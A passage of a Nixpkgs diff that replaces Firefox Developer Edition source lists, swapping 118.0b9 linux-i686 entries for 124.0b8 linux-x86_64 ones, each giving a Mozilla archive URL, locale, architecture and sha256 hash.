"https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ms/firefox-118.0b9.tar.bz2"; - locale = "ms"; - arch = "linux-i686"; - sha256 = "515d770951d7b112be8980b5482b3cac9c1f6b085c6c67056d6310334313a17e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/my/firefox-118.0b9.tar.bz2"; - locale = "my"; - arch = "linux-i686"; - sha256 = "70bc3a89af01cb7fe91a3c8d3e2b51ee8711f205399d829fba0c5f67bdb13259"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/nb-NO/firefox-118.0b9.tar.bz2"; - locale = "nb-NO"; - arch = "linux-i686"; - sha256 = "0d7497ce372be43951963a7708e580476ad9606bd577cfd6b84613ac16ff1ad6"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ne-NP/firefox-118.0b9.tar.bz2"; - locale = "ne-NP"; - arch = "linux-i686"; - sha256 = "c3ed492f8a4fdfa5c6765003c07654da9d9efeabaaca15f67c84518ba10d04fd"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/nl/firefox-118.0b9.tar.bz2"; - locale = "nl"; - arch = "linux-i686"; - sha256 = "24077f05377cfbc11521c88f96d81f344b1d83a6dab4103fb2ef0acbe684f2eb"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/nn-NO/firefox-118.0b9.tar.bz2"; - locale = "nn-NO"; - arch = "linux-i686"; - sha256 = "eabc24681261270677c622be6f4feb412e889fee7e7909e7b1c213f2b5d5f074"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/oc/firefox-118.0b9.tar.bz2"; - locale = "oc"; - arch = "linux-i686"; - sha256 = "84249450442b0784f5c1d9ef80148733697fa76a7b7cbd6fff826b17cd587d34"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/pa-IN/firefox-118.0b9.tar.bz2"; - locale = "pa-IN"; - arch = "linux-i686"; - sha256 = "a9a4d9d541a875fcbdf641520f78cbd6a7e195499b860c2b90a24151777af518"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/pl/firefox-118.0b9.tar.bz2"; - locale = "pl"; - arch = "linux-i686"; - sha256 = "f25078cfc1564938d322dfcf4caa7d53aba151779441058b8d0eac9c24cf36b8"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/pt-BR/firefox-118.0b9.tar.bz2"; - locale = "pt-BR"; - arch = "linux-i686"; - sha256 = "c257c77acbfacd8d6e665510ebd819d04af274794f7c4279d7a5ae5376548740"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/pt-PT/firefox-118.0b9.tar.bz2"; - locale = "pt-PT"; - arch = "linux-i686"; - sha256 = "8a95dc319c5dd036ba1ed46c51306c2d72e1183b8b9495d2a7a04f2160037262"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/rm/firefox-118.0b9.tar.bz2"; - locale = "rm"; - arch = "linux-i686"; - sha256 = "213173775951d23ba7ca90d4f5f0e972970f5e70a94797dcfb3a4c431ddb3461"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ro/firefox-118.0b9.tar.bz2"; - locale = "ro"; - arch = "linux-i686"; - sha256 = "fd8149548cc99a603565406e0bf18af072406587b8c99a2791e9794db45b37be"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ru/firefox-118.0b9.tar.bz2"; - locale = "ru"; - arch = "linux-i686"; - sha256 = "ad6ede7fa8d2492dc282672e1fe650e480282f0383e5bf972fa3079d032e7fd4"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sc/firefox-118.0b9.tar.bz2"; - locale = "sc"; - arch = "linux-i686"; - sha256 = "4165fa28ec0395c4c73440d6ac5ccf507fd59170eb69c56d73c58cb194a18b8e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sco/firefox-118.0b9.tar.bz2"; - locale = "sco"; - arch = "linux-i686"; - sha256 = "0d6b08f75cfcad251ecc4e5057ff6ea36e889607e4073b593e11099ab060e6ad"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/si/firefox-118.0b9.tar.bz2"; - locale = "si"; - arch = "linux-i686"; - sha256 = "f13f8fed792e28048d2069fc70373811c520bf21db0404e3a24245f4fc8308db"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sk/firefox-118.0b9.tar.bz2"; - locale = "sk"; - arch = "linux-i686"; - sha256 = "b4cc004d195f2afd25fc4adffd322a6e969533ec80b4ddaae51f05334968f40e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sl/firefox-118.0b9.tar.bz2"; - locale = "sl"; - arch = "linux-i686"; - sha256 = "4d67c69958e4582af0b94dcf9e2c31d83bebae6fa5b0b8679d51ac6c43d7c795"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/son/firefox-118.0b9.tar.bz2"; - locale = "son"; - arch = "linux-i686"; - sha256 = "bf2485df2689593243794df95d676a6fcdfb9f1d4ce364c84ba9f101b2264eea"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sq/firefox-118.0b9.tar.bz2"; - locale = "sq"; - arch = "linux-i686"; - sha256 = "33bf4a96adb0535524c4e9283d54c9b811eab476562cd56f699ab6ff0579ec0e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sr/firefox-118.0b9.tar.bz2"; - locale = "sr"; - arch = "linux-i686"; - sha256 = "6730e09e523b515d81977e9d4036b04f0b90ce5523f221775cdae222b926ae0a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/sv-SE/firefox-118.0b9.tar.bz2"; - locale = "sv-SE"; - arch = "linux-i686"; - sha256 = "637f7691325f447569973e2a9beaa6be4b2dab8bf5b6422e90a158edff00ee92"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/szl/firefox-118.0b9.tar.bz2"; - locale = "szl"; - arch = "linux-i686"; - sha256 = "a23fc0c34fdf64176dca5f8b23a9a381f71dbae2d8573a0d286f39a61deb94cf"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ta/firefox-118.0b9.tar.bz2"; - locale = "ta"; - arch = "linux-i686"; - sha256 = "065602a04ff6d4fde955dac629f8495c3b4a7dbe5a05fd2b75b00095ad88f438"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/te/firefox-118.0b9.tar.bz2"; - locale = "te"; - arch = "linux-i686"; - sha256 = "ddff23965ef7bf5430d79a6e9d0c83f420ba7967b4b92729724b74632cb51992"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/tg/firefox-118.0b9.tar.bz2"; - locale = "tg"; - arch = "linux-i686"; - sha256 = "377906226c488a24a229aedcdd75d128a413e0b6ca70215507b306ecbe2c93d5"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/th/firefox-118.0b9.tar.bz2"; - locale = "th"; - arch = "linux-i686"; - sha256 = "9bc4881b5994d938dfda2574b8209f683896aa99d09231163f2500057047c2e3"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/tl/firefox-118.0b9.tar.bz2"; - locale = "tl"; - arch = "linux-i686"; - sha256 = "5173d2b13807be2303ea11e5d32d1c504bc81b8c8db7c74de9f4388ef67f9d53"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/tr/firefox-118.0b9.tar.bz2"; - locale = "tr"; - arch = "linux-i686"; - sha256 = "c12a8c580fc75e6827ee94b30f50b66478fa672eb6821f2280589f5afd3c7cd6"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/trs/firefox-118.0b9.tar.bz2"; - locale = "trs"; - arch = "linux-i686"; - sha256 = "f3a63164cb755674c63fe76c86bd7edb075dabacbbb078a96ce2afa36dcaf1dc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/uk/firefox-118.0b9.tar.bz2"; - locale = "uk"; - arch = "linux-i686"; - sha256 = "f815ef8bcc95eeb3f5ebc7fe7a92406f8f9499b8a691ca07ae69e4fef6a4a051"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ur/firefox-118.0b9.tar.bz2"; - locale = "ur"; - arch = "linux-i686"; - sha256 = "21665a39565e990ebdd369c88a684b247ccd5a2ff7268d9827c4cced5a1d44cb"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/uz/firefox-118.0b9.tar.bz2"; - locale = "uz"; - arch = "linux-i686"; - sha256 = "e3527a83c2ef6f7fce248bd3eac7a71b53c95e6531ba66ce16d0886de6b52769"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/vi/firefox-118.0b9.tar.bz2"; - locale = "vi"; - arch = "linux-i686"; - sha256 = "6535325b6f1182f0a67039f5c9ace2f1db8d5cae69ea03868828d75dacdc2df2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/xh/firefox-118.0b9.tar.bz2"; - locale = "xh"; - arch = "linux-i686"; - sha256 = "8e7d67535c19f672b42195327f85737cae24edf5dd96c2b474028b43860b3a34"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/zh-CN/firefox-118.0b9.tar.bz2"; - locale = "zh-CN"; - arch = "linux-i686"; - sha256 = "24bddfdda2c7eeeaa1d66783cd4fe0b7b47b99d01250a1f6203f5049142be911"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/zh-TW/firefox-118.0b9.tar.bz2"; - locale = "zh-TW"; - arch = "linux-i686"; - sha256 = "6fbd5d7bd31ac65cfe88e393cdab0ddab6d50c9f9e3718971bb16debf04bd10e"; - } - ]; -} diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix new file mode 100644 index 0000000000000..5292034419825 --- /dev/null +++ b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix @@ -0,0 +1,1025 @@ +{ + version = "124.0b8"; + sources = [ + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ach/firefox-124.0b8.tar.bz2"; + locale = "ach"; + arch = "linux-x86_64"; + sha256 = "2988de946ed490228980b45ea0890896818fcd2576ef25b7dde173e7a2288b7a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/af/firefox-124.0b8.tar.bz2"; + locale = "af"; + arch = "linux-x86_64"; + sha256 = "1687d39822c1c2aa26bad3ae5b2b7249d8d77b807fb710f3ac17dbee10379fca"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/an/firefox-124.0b8.tar.bz2"; + locale = "an"; + arch = "linux-x86_64"; + sha256 = "d25fa9dca8315719c7e7410d65c24878090c8ede9f8872e907f97c5208fc36af"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ar/firefox-124.0b8.tar.bz2"; + locale = "ar"; + arch = "linux-x86_64"; + sha256 = "2070bcfe283bb4cca1d41f966aa9c2482711d945d72713d2a8984550cbfb2c64"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ast/firefox-124.0b8.tar.bz2"; + locale = "ast"; + arch = "linux-x86_64"; + sha256 = "babe235327c171b7cacedadcbe9bfc115268a3c86b26156159d6e13a527e5e9f"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/az/firefox-124.0b8.tar.bz2"; + locale = "az"; + arch = "linux-x86_64"; + sha256 = "f88f43800dc35bd61e3954d160ece9b278bb3f7b9ffca080f56f19e72809281d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/be/firefox-124.0b8.tar.bz2"; + locale = "be"; + arch = "linux-x86_64"; + sha256 = "a794265636992a09b91d940694681550dcd53de67691093eaaca46451ec72559"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/bg/firefox-124.0b8.tar.bz2"; + locale = "bg"; + arch = "linux-x86_64"; + sha256 = "672062dd3c6c0c0244230ed69e52e78cc8a95f4ee0e6328e9ce271dd8cc3ff4b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/bn/firefox-124.0b8.tar.bz2"; + locale = "bn"; + arch = "linux-x86_64"; + sha256 = "41a949ba8f1f374deb54e5cb1ffdfcbac4be333d2f3c62f23e5de1a65d2bbcf8"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/br/firefox-124.0b8.tar.bz2"; + locale = "br"; + arch = "linux-x86_64"; + sha256 = "bcaf2de1ced5c94ff689b24f7496aae1d7ef0bc6c4106ae1864b0904c517b3cb"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/bs/firefox-124.0b8.tar.bz2"; + locale = "bs"; + arch = "linux-x86_64"; + sha256 = "7962417ea71924a02d08877b27cb9f3c34298820687dedd5fa14815e54813c46"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ca-valencia/firefox-124.0b8.tar.bz2"; + locale = "ca-valencia"; + arch = "linux-x86_64"; + sha256 = "73cee93f18933add9fe9e351e9ca65df1fff08dfa58c8e0bec2a194f59e3efed"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ca/firefox-124.0b8.tar.bz2"; + locale = "ca"; + arch = "linux-x86_64"; + sha256 = "81746545945da6cbaba5b62f140645ac38f766fcb85d6ccc14a6a7f4b3f2af6f"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/cak/firefox-124.0b8.tar.bz2"; + locale = "cak"; + arch = "linux-x86_64"; + sha256 = "c0132f83fffe7cd5e61a1d445fcf40c37efeb59a260c2aedae66070e118c36b4"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/cs/firefox-124.0b8.tar.bz2"; + locale = "cs"; + arch = "linux-x86_64"; + sha256 = "57f97db425407eea0f7a3a46a025c2d6a78205564aca3ce833765926b191dab3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/cy/firefox-124.0b8.tar.bz2"; + locale = "cy"; + arch = "linux-x86_64"; + sha256 = "e8a2ba537f651ca41c90e2b73805736d94aee2385332f78d328656bd27ad4393"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/da/firefox-124.0b8.tar.bz2"; + locale = "da"; + arch = "linux-x86_64"; + sha256 = "206de0cfc1d6fe05d6cdc30f12c6c1a7078296d519dfb12c31faf4c2bac5b03d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/de/firefox-124.0b8.tar.bz2"; + locale = "de"; + arch = "linux-x86_64"; + sha256 = "89d56459285a171cbccb5f030fdb1ed6760c793bdef4f0331b9b59133e758795"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/dsb/firefox-124.0b8.tar.bz2"; + locale = "dsb"; + arch = "linux-x86_64"; + sha256 = "a259ef10f69f7a0d199ed69dd6edccd3c995b492cf32a89829574bc931124907"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/el/firefox-124.0b8.tar.bz2"; + locale = "el"; + arch = "linux-x86_64"; + sha256 = "f540fef5edd06244d3b5677629707c25bd1b77340f8bee130410a9e13e021b4a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/en-CA/firefox-124.0b8.tar.bz2"; + locale = "en-CA"; + arch = "linux-x86_64"; + sha256 = "797d044fb9af451561b8aeaf44c63476018c5c1778cd8f4e159b42e66e54bbbd"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/en-GB/firefox-124.0b8.tar.bz2"; + locale = "en-GB"; + arch = "linux-x86_64"; + sha256 = "9f95d07b7ca673ab08febcbae1d41ec5b1540f1e3906132da6fc461c2c026412"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/en-US/firefox-124.0b8.tar.bz2"; + locale = "en-US"; + arch = "linux-x86_64"; + sha256 = "da86a9c747bebe0c7dfa7e4b9e421bbb364c9f0f89bfa4a1a9e5ecb16e10ee0d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/eo/firefox-124.0b8.tar.bz2"; + locale = "eo"; + arch = "linux-x86_64"; + sha256 = "edf010104ec42ad79242cce4d93ad7319e62df91f9ced6ca811367e9a8b65dbe"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/es-AR/firefox-124.0b8.tar.bz2"; + locale = "es-AR"; + arch = "linux-x86_64"; + sha256 = "71b108e32318295d4f528216a5078f1200b7681a3d8c0a64edfcf8c750c7ccd7"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/es-CL/firefox-124.0b8.tar.bz2"; + locale = "es-CL"; + arch = "linux-x86_64"; + sha256 = "0e004dbdce5186349386af181d23b7db7e70f15044fc2689251299eb14a593e0"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/es-ES/firefox-124.0b8.tar.bz2"; + locale = "es-ES"; + arch = "linux-x86_64"; + sha256 = "1abc44fb00c7edfc1c7abce1f8a3cb42952a5202de78be6f74c193978b33fe43"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/es-MX/firefox-124.0b8.tar.bz2"; + locale = "es-MX"; + arch = "linux-x86_64"; + sha256 = "9829eae29d54a2cc719b1e5a1edd449d24e23f8b20cbb0848fcee65dcc49698d"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/et/firefox-124.0b8.tar.bz2"; + locale = "et"; + arch = "linux-x86_64"; + sha256 = "bf3d8e5c72773855c67220a3fa30a3336393fee024dd660f0756b64437830b89"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/eu/firefox-124.0b8.tar.bz2"; + locale = "eu"; + arch = "linux-x86_64"; + sha256 = "41122f93963c7bebd6b9c4f7549e0c2ace87a9fc6b0652e95e458daedd3d7a02"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/fa/firefox-124.0b8.tar.bz2"; + locale = "fa"; + arch = "linux-x86_64"; + sha256 = "b77127090d34358d0bb8979d0e3f2eb2f28294aef852a4c8ff1aadd667aa2bb1"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ff/firefox-124.0b8.tar.bz2"; + locale = "ff"; + arch = "linux-x86_64"; + sha256 = "16c289cc6df84d6c11346c63f06401ddb8213dda5fe6213adf595103006f0be3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/fi/firefox-124.0b8.tar.bz2"; + locale = "fi"; + arch = "linux-x86_64"; + sha256 = "9d28939dd4b140e519d8cf3dd2fb7b3d436a9dba1fe0ca3edd501efcb27fe815"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/fr/firefox-124.0b8.tar.bz2"; + locale = "fr"; + arch = "linux-x86_64"; + sha256 = "4fa0c1fce593428b52398574dfea25afc43634e501470eeb4b5377e56379c522"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/fur/firefox-124.0b8.tar.bz2"; + locale = "fur"; + arch = "linux-x86_64"; + sha256 = "3efaed291928fc656ada9b5553465df933611f17e950bf1a33a93d5938ee308c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/fy-NL/firefox-124.0b8.tar.bz2"; + locale = "fy-NL"; + arch = "linux-x86_64"; + sha256 = "7c40996622bdcda21621feacded35a68da3da46401b5199594e9f602be7d9029"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ga-IE/firefox-124.0b8.tar.bz2"; + locale = "ga-IE"; + arch = "linux-x86_64"; + sha256 = "3d3ca2cc0de55afafc208d3f2a5e8ea9a1090918497375480e00b9487aecaff5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/gd/firefox-124.0b8.tar.bz2"; + locale = "gd"; + arch = "linux-x86_64"; + sha256 = "89a4df6e0be19cd486e3af3891bdeaae24b388eb107fcfb662e173952afb179b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/gl/firefox-124.0b8.tar.bz2"; + locale = "gl"; + arch = "linux-x86_64"; + sha256 = "1ee2cb1645e2dc1d7840ad3bc25a1b9850c613eee6638e518b4f6b1c85e72e5e"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/gn/firefox-124.0b8.tar.bz2"; + locale = "gn"; + arch = "linux-x86_64"; + sha256 = "53fc0c3e15c8caa460f45112dc6377f8e30fc4ea093b6add483772b4672ae35c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/gu-IN/firefox-124.0b8.tar.bz2"; + locale = "gu-IN"; + arch = "linux-x86_64"; + sha256 = "17ce5a7783094959e7293d4cb0980d0cecb4ffcf5047e51e32ae4acf0ab53024"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/he/firefox-124.0b8.tar.bz2"; + locale = "he"; + arch = "linux-x86_64"; + sha256 = "e74b756e6b1405aa1ce63e62d2f1f4b0fc82cfa84591d1585335e6132f41ce03"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/hi-IN/firefox-124.0b8.tar.bz2"; + locale = "hi-IN"; + arch = "linux-x86_64"; + sha256 = "928e276ec78476ad1c2f6d2e4c78e378ba91f7b8fe15094f1fdb3b569bde38e5"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/hr/firefox-124.0b8.tar.bz2"; + locale = "hr"; + arch = "linux-x86_64"; + sha256 = "fbf7f1f034888366c47646f6471ff6e2b16b24653857bf29106db5c79cc0aa24"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/hsb/firefox-124.0b8.tar.bz2"; + locale = "hsb"; + arch = "linux-x86_64"; + sha256 = "f0d43f298c10229e7445d9b6fc60d9d8082eed402a0b35ab0c7d576e8e6fe714"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/hu/firefox-124.0b8.tar.bz2"; + locale = "hu"; + arch = "linux-x86_64"; + sha256 = "ca36f85425b69126844a50f6dfd53aa58bc5957869e182939c2c801b247d7275"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/hy-AM/firefox-124.0b8.tar.bz2"; + locale = "hy-AM"; + arch = "linux-x86_64"; + sha256 = "9dbb281f9e809c22c8247bc91f5b5f77a10ec1394d44b1a8f05b0f996781461f"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ia/firefox-124.0b8.tar.bz2"; + locale = "ia"; + arch = "linux-x86_64"; + sha256 = "3a894f67f061cba30fd1d4ad8ae6258a3603b9ff70437cd0d15dd07a0f78de08"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/id/firefox-124.0b8.tar.bz2"; + locale = "id"; + arch = "linux-x86_64"; + sha256 = "27adef08d52cd4a1c6030ec165a93206b179cbf71cc6531c0930c23d0d093815"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/is/firefox-124.0b8.tar.bz2"; + locale = "is"; + arch = "linux-x86_64"; + sha256 = "5c00ac38e8bbbc12c2b82946978e5b1d9cf76e4497ac928f5cbf709248dfd965"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/it/firefox-124.0b8.tar.bz2"; + locale = "it"; + arch = "linux-x86_64"; + sha256 = "bc618b604865437745a171a0ceeff8539ed29045008073ff300ce06ebe79953b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ja/firefox-124.0b8.tar.bz2"; + locale = "ja"; + arch = "linux-x86_64"; + sha256 = "0aa1160b46e69921be37d99e95793ba3993695e78ca2a133dcb88d0e634ff9cf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ka/firefox-124.0b8.tar.bz2"; + locale = "ka"; + arch = "linux-x86_64"; + sha256 = "3ba54e3f9aaf00b7063008da2ce83390591688e81ed012c88f7a8d5ae3a826bf"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/kab/firefox-124.0b8.tar.bz2"; + locale = "kab"; + arch = "linux-x86_64"; + sha256 = "97eebeb472796278bb8b0e7253f7afc2953377904f4e58e1866381311f3e1a90"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/kk/firefox-124.0b8.tar.bz2"; + locale = "kk"; + arch = "linux-x86_64"; + sha256 = "bbc0cff5ea750c9d5597935d6b6ff9724304fc44041bd2788f54c5e62d58126c"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/km/firefox-124.0b8.tar.bz2"; + locale = "km"; + arch = "linux-x86_64"; + sha256 = "1aa3e271596a41773b09edfbb2c3c2efa79bca942eefb43bafbdbb095a40a7f6"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/kn/firefox-124.0b8.tar.bz2"; + locale = "kn"; + arch = "linux-x86_64"; + sha256 = "37f0d74e645b187f36d2adf51d54e3053ce12489d9be88572d6c9dd66b95a8e9"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ko/firefox-124.0b8.tar.bz2"; + locale = "ko"; + arch = "linux-x86_64"; + sha256 = "970157e4c6562744716324dee490c0a9e2b1ec80013e613dcd31c38646b06591"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/lij/firefox-124.0b8.tar.bz2"; + locale = "lij"; + arch = "linux-x86_64"; + sha256 = "b8cfb9658a6553fa5630219eabe865f44b646017383d4996d0e0b28a89bb70b3"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/lt/firefox-124.0b8.tar.bz2"; + locale = "lt"; + arch = "linux-x86_64"; + sha256 = "aa3197cec919cc8ee124273e258d66e2d731dda388ab5fead650e1f75efab140"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/lv/firefox-124.0b8.tar.bz2"; + locale = "lv"; + arch = "linux-x86_64"; + sha256 = "fc8bd3ea5641ee5f40784ff58265d1d4e9f9fbb57370c94d3bfaf16c8ca419f7"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/mk/firefox-124.0b8.tar.bz2"; + locale = "mk"; + arch = "linux-x86_64"; + sha256 = "3c7842697ece438bfa6f1ffa411b9f7a207b855be590e000f36bf0fbdcf7d0fc"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/mr/firefox-124.0b8.tar.bz2"; + locale = "mr"; + arch = "linux-x86_64"; + sha256 = "c0f7095e04fdf54dd45702cd77661b9589c0179cd58af049dd9668f375bfb4db"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ms/firefox-124.0b8.tar.bz2"; + locale = "ms"; + arch = "linux-x86_64"; + sha256 = "cdd283a160113ac0111b4474ce938deb4ac85dd6bd2b56a15c9452517710435b"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/my/firefox-124.0b8.tar.bz2"; + locale = "my"; + arch = "linux-x86_64"; + sha256 = "9acfcf0899f950a61b6897f4c4720b04ed75424f584164a88d0fd8b14b14853a"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/nb-NO/firefox-124.0b8.tar.bz2"; + locale = "nb-NO"; + arch = "linux-x86_64"; + sha256 = "e1bd46e35d445814f6f84994780975827098975a5f4c42a823cfdee7f2666613"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/ne-NP/firefox-124.0b8.tar.bz2"; + locale = "ne-NP"; + arch = "linux-x86_64"; + sha256 = "408e293ab25cb7e08e6d75284856b780a3ba86921ee6555599e5783a386bb187"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/nl/firefox-124.0b8.tar.bz2"; + locale = "nl"; + arch = "linux-x86_64"; + sha256 = "90ff9d8166b37faf8ea99be184dfb5c0cb3cf4f1fb50c66880dda85aa2372ded"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/nn-NO/firefox-124.0b8.tar.bz2"; + locale = "nn-NO"; + arch = "linux-x86_64"; + sha256 = "790ec50757bf6b96437019eefc2082e21b40b50dbbe8626a508a7affd2882b20"; + } + { url = "https://archive.mozilla.org/pub/devedition/releases/124.0b8/linux-x86_64/oc/firefox-124.0b8.tar.bz2"; + locale = "oc"; + arch = "linux-x86_64"; + sha256 = 